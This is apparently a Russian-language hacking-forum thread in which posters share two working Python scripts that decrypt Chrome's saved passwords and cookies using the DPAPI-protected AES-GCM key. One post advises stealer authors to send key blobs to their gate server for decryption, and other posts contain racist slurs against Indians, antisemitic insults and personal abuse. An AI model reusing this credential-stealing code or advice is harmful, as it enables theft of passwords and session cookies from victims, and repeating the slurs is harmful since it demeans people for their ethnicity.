начиная с 80й версии, немного поменяли подход, теперь еще и AES GCM добавилось: Code: import os import sqlite3 import win32crypt import sys import json import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM from shutil import copyfile # Set appropriate paths here path_ls = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Local State' path_db = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Default\Login Data' path_cook = r'C:\Users\sn0w\AppData\Local\Google\Chrome\User Data\Default\Cookies' def acquire_encryption_key(): b64dpapi = None try: with open(path_ls) as json_file: data = json.load(json_file) b64dpapi = data["os_crypt"]["encrypted_key"] except KeyError: print('No encryption key found!') if b64dpapi is not None: pre_key = base64.b64decode(b64dpapi) aead_encryption_key = win32crypt.CryptUnprotectData(pre_key[5:], None, None, None, 0)[1] return aead_encryption_key return None # Chrome prevents access while running, just copy them copyfile(path_ls, path_ls + '.bak') path_ls += '.bak' copyfile(path_db, path_db + '.bak') path_db += '.bak' copyfile(path_cook, path_cook + '.bak') path_cook += '.bak' # Connect to the Database try: print('[+] Opening ' + path_db + '...\n') conn = sqlite3.connect(path_db) cursor = conn.cursor() except Exception as e: print('[-] %s' % (e)) sys.exit(1) # Get the results try: cursor.execute('SELECT action_url, username_value, password_value FROM logins') except Exception as e: print('[-] %s' % (e)) sys.exit(1) data = cursor.fetchall() key = acquire_encryption_key() aesgcm = AESGCM(key) print("[+] AES256 GCM key dumped: " + "".join('%02X' % c for c in key) + "\n") for i in range(len(data)): pwdcipher = data[i][2][15:] nonce = data[i][2][3:15] print(str(i)+ ') ' + 'DB URL Entry: ' + data[i][0] + '\n' + ' -Login: ' + data[i][1]) print(" -Raw db pwd data: " + "".join('%02X' % c for c in data[i][2])) print(" -nonce: " + "".join('%02X' % c for c in nonce)) print(" -password cipher: " + "".join('%02X' % c for c in pwdcipher)) cleartext = aesgcm.decrypt(nonce, pwdcipher, None) print(" -decrypted password: " + cleartext.decode() + '\n'); print('\n\n[+] Dumping cookies...') # Connect to the Database try: print('[+] Opening ' + path_cook + '...\n') conn = sqlite3.connect(path_cook) cursor = conn.cursor() except Exception as e: print('[-] %s' % (e)) sys.exit(1) # Get the results try: cursor.execute('SELECT host_key, name, encrypted_value FROM cookies') except Exception as e: print('[-] %s' % (e)) sys.exit(1) data = cursor.fetchall() for i in range(len(data)): cookcipher = data[i][2][15:] nonce = data[i][2][3:15] print('%s - %s: ' % (data[i][0], data[i][1]), end=' ') cleartext = aesgcm.decrypt(nonce, cookcipher, None) print(cleartext.decode()); для стилеропейсателей советую дампить и отсылать блобы с ключами, а на гейте уже расшифровывать, ибо тут нужно и скллайт и басе64 и опенссл либы, но если 2 первые - это лайтовый код на несколько кбайт, то декрипт аес gcm (а хер знает, из ссл его лень было вытравлить - это ненужная длл на 2+ мб)
chrome - гавно-браузер писсанный этими вашими poo-in-loo индусскими засранцами, не знающих элементарных правил общественной гигиены и санитарии, срущих на улицах, для тупо-рылых сосок на посниматься в TikTok. И пассворды - qwerty / qazwsx / 123456 / tyuiop ))
@user100 выпили уже этому финкельштейновскому дауну доступ в разделы где требуется наличие работающих мозгов, плиз))
Code: import os import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AES import shutil def get_master_key(): with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r", encoding='utf-8') as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) master_key = master_key[5:] master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception as e: # print("Probably saved password from Chrome version older than v80\n") # print(str(e)) return "Chrome < 80" if __name__ == '__main__': master_key = get_master_key() login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data' shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running conn = sqlite3.connect("Loginvault.db") cursor = conn.cursor() try: cursor.execute("SELECT action_url, username_value, password_value FROM logins") for r in cursor.fetchall(): url = r[0] username = r[1] encrypted_password = r[2] decrypted_password = decrypt_password(encrypted_password, master_key) with open('chrome.txt', 'a') as f: f.write("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n") except Exception as e: pass cursor.close() conn.close() try: os.remove("Loginvault.db") except Exception as e: pass Вырил просторах интернета Вроде работает
Имбецил недоразвитый, сохраняй свои пассы и куки в .zip и раскрывай их, без требований к правам user, при переустановки Chromium или Windows. Все умные мальчики научились этому, легко и быстро, в отличии от твоя, тугодума пративного ))
Указывать абсолютный путь к рабочему каталогу гуглохрома - это не есть путь настоящего белого хомячка-переростка, а так код годный, плюсую в репу